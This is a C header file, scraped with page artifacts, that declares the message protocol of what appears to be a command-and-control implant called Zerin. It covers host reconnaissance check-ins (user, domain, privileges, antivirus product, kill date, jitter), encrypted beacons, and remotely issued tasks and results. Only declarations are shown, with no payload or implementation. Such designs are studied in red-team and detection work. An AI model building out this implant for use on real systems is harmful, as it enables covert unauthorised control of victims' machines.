146 lines
5.4 KiB
C
146 lines
5.4 KiB
C
#ifndef ZERIN_PROTOCOL_H
|
|||
|
|
#define ZERIN_PROTOCOL_H
|
||
|
|
|
||
|
|
#include <stdint.h>
|
||
|
|
#include <stddef.h>
|
||
|
|
#include <stdbool.h>
|
||
|
|
|
||
|
|
// ============================================================================
|
||
|
|
// Serialization buffer
|
||
|
|
// ============================================================================
|
||
|
|
typedef struct {
|
||
|
|
uint8_t *data;
|
||
|
|
size_t len;
|
||
|
|
size_t cap;
|
||
|
|
size_t pos; // Read cursor
|
||
|
|
} buffer_t;
|
||
|
|
|
||
|
|
buffer_t *buffer_new(size_t initial_cap);
|
||
|
|
void buffer_free(buffer_t *buf);
|
||
|
|
int buffer_write_u8(buffer_t *buf, uint8_t val);
|
||
|
|
int buffer_write_u32(buffer_t *buf, uint32_t val);
|
||
|
|
int buffer_write_u64(buffer_t *buf, uint64_t val);
|
||
|
|
int buffer_write_i64(buffer_t *buf, int64_t val);
|
||
|
|
int buffer_write_bytes(buffer_t *buf, const uint8_t *data, size_t len);
|
||
|
|
int buffer_write_string(buffer_t *buf, const char *str);
|
||
|
|
|
||
|
|
int buffer_read_u8(buffer_t *buf, uint8_t *val);
|
||
|
|
int buffer_read_u32(buffer_t *buf, uint32_t *val);
|
||
|
|
int buffer_read_u64(buffer_t *buf, uint64_t *val);
|
||
|
|
int buffer_read_i64(buffer_t *buf, int64_t *val);
|
||
|
|
int buffer_read_bytes(buffer_t *buf, uint8_t **data, size_t *len);
|
||
|
|
int buffer_read_string(buffer_t *buf, char **str);
|
||
|
|
|
||
|
|
// ============================================================================
|
||
|
|
// CheckIn message
|
||
|
|
// ============================================================================
|
||
|
|
typedef struct {
|
||
|
|
char agent_id[37];
|
||
|
|
char hostname[256];
|
||
|
|
char username[256];
|
||
|
|
char domain[256];
|
||
|
|
char internal_ip[64];
|
||
|
|
uint32_t pid;
|
||
|
|
uint32_t ppid;
|
||
|
|
char os_version[256];
|
||
|
|
char arch[8];
|
||
|
|
char process_name[260];
|
||
|
|
bool elevated;
|
||
|
|
uint32_t integrity_level;
|
||
|
|
uint32_t sleep_interval;
|
||
|
|
uint32_t jitter_percent;
|
||
|
|
int64_t kill_date;
|
||
|
|
char av_product[128];
|
||
|
|
} checkin_t;
|
||
|
|
|
||
|
|
int checkin_serialize(const checkin_t *ci, buffer_t *buf);
|
||
|
|
int checkin_deserialize(buffer_t *buf, checkin_t *ci);
|
||
|
|
|
||
|
|
// ============================================================================
|
||
|
|
// Envelope (wraps all beacon messages)
|
||
|
|
// ============================================================================
|
||
|
|
typedef struct {
|
||
|
|
uint32_t message_type;
|
||
|
|
uint64_t sequence_number;
|
||
|
|
char agent_id[37];
|
||
|
|
int64_t timestamp;
|
||
|
|
uint8_t *payload;
|
||
|
|
size_t payload_len;
|
||
|
|
} envelope_t;
|
||
|
|
|
||
|
|
int envelope_serialize(const envelope_t *env, buffer_t *buf);
|
||
|
|
int envelope_deserialize(buffer_t *buf, envelope_t *env);
|
||
|
|
|
||
|
|
// ============================================================================
|
||
|
|
// Task
|
||
|
|
// ============================================================================
|
||
|
|
#define TASK_MAX_ARGS 32
|
||
|
|
|
||
|
|
typedef struct {
|
||
|
|
char task_id[37];
|
||
|
|
char command[64];
|
||
|
|
char *args[TASK_MAX_ARGS];
|
||
|
|
uint32_t num_args;
|
||
|
|
uint8_t *data;
|
||
|
|
size_t data_len;
|
||
|
|
uint32_t timeout;
|
||
|
|
} task_t;
|
||
|
|
|
||
|
|
int task_deserialize(buffer_t *buf, task_t *task);
|
||
|
|
void task_free(task_t *task);
|
||
|
|
|
||
|
|
// ============================================================================
|
||
|
|
// TaskResult
|
||
|
|
// ============================================================================
|
||
|
|
typedef struct {
|
||
|
|
char task_id[37];
|
||
|
|
bool success;
|
||
|
|
char *output;
|
||
|
|
uint8_t *data;
|
||
|
|
size_t data_len;
|
||
|
|
int32_t error_code;
|
||
|
|
char *error_message;
|
||
|
|
} task_result_t;
|
||
|
|
|
||
|
|
int task_result_serialize(const task_result_t *result, buffer_t *buf);
|
||
|
|
void task_result_free(task_result_t *result);
|
||
|
|
|
||
|
|
// ============================================================================
|
||
|
|
// TaskResponse (server → agent: list of tasks)
|
||
|
|
// ============================================================================
|
||
|
|
typedef struct {
|
||
|
|
task_t *tasks;
|
||
|
|
uint32_t num_tasks;
|
||
|
|
} task_response_t;
|
||
|
|
|
||
|
|
int task_response_deserialize(buffer_t *buf, task_response_t *resp);
|
||
|
|
void task_response_free(task_response_t *resp);
|
||
|
|
|
||
|
|
// ============================================================================
|
||
|
|
// Key Exchange wire format
|
||
|
|
// ============================================================================
|
||
|
|
int protocol_build_key_exchange(const uint8_t pubkey_hash[32],
|
||
|
|
const uint8_t ephemeral_pub[32],
|
||
|
|
const uint8_t *encrypted_checkin,
|
||
|
|
size_t encrypted_len,
|
||
|
|
const uint8_t nonce[12],
|
||
|
|
uint8_t **out, size_t *out_len);
|
||
|
|
|
||
|
|
int protocol_parse_key_exchange_response(const uint8_t *data, size_t data_len,
|
||
|
|
uint8_t **encrypted_payload,
|
||
|
|
size_t *encrypted_len,
|
||
|
|
uint8_t nonce[12]);
|
||
|
|
|
||
|
|
// ============================================================================
|
||
|
|
// Beacon wire format (encrypted envelope)
|
||
|
|
// ============================================================================
|
||
|
|
int protocol_build_beacon(const uint8_t session_key[32],
|
||
|
|
const envelope_t *env,
|
||
|
|
uint8_t **out, size_t *out_len);
|
||
|
|
|
||
|
|
int protocol_parse_beacon_response(const uint8_t session_key[32],
|
||
|
|
const uint8_t *data, size_t data_len,
|
||
|
|
envelope_t *env);
|
||
|
|
|
||
|
|
#endif // ZERIN_PROTOCOL_H
|